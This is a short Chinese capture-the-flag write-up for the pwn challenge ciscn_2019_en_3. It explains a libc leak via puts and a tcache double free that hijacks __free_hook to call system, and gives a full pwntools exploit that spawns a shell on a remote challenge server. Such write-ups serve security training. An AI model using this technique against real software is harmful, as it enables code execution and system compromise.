ciscn_2019_en_3

例行检查

1

可以看到常见的四个保护开启了,并且还开启了FORTIFY,简单来说这个保护机制提供了轻量级的缓冲区溢出攻击和格式化字符串攻击检查

2

可以看到用的是_printf_chk函数,会对格式化字符串攻击进行检查

3

看到我们尝试进行格式化字符串攻击时被拦截

但是下面有个puts可以泄露地址在s输入8个字节占满空间这样补不了\x00puts就会连带s内容后面的地址也给打印出来

我们动调查看一下栈上地址

n单步调试到输入ID

4

看到&s的下一个地址是setbuffer+231,

那么接下来就是double_free去劫持__free_hook就可以了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['tmux','splitw','-h']
#io = process(['/home/giantbranch/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so', './ciscn_2019_en_3'], env={"LD_PRELOAD":'/home/giantbranch/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6'})
#io = process('./ciscn_2019_en_3')
io = remote('node4.buuoj.cn',28310)
elf = ELF("./ciscn_2019_en_3")
libc = ELF('./libc-2.27.so')
def add(size,content):
io.recvuntil('choice:')
io.sendline(str(1))
io.recvuntil('story:')
io.sendline(str(size))
io.recvuntil('story:')
io.sendline(content)

def free(index):
io.recvuntil('choice:')
io.sendline(str(4))
io.recvuntil('index:')
io.sendline(str(index))


io.recvuntil('name?')
io.sendline('aaaa')

io.recvuntil('ID.')
io.sendline('cccccccc')
setbuffer = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 231
libc_base = setbuffer - libc.sym['setbuffer']
log.success('libc_base:'+hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

add(0x60,'aaaa') #0
add(0x60,'/bin/sh') #1

free(0)
free(0)

add(0x60,p64(free_hook))
add(0x60,'aaaa')
add(0x60,p64(system))

free(1)

io.interactive()

5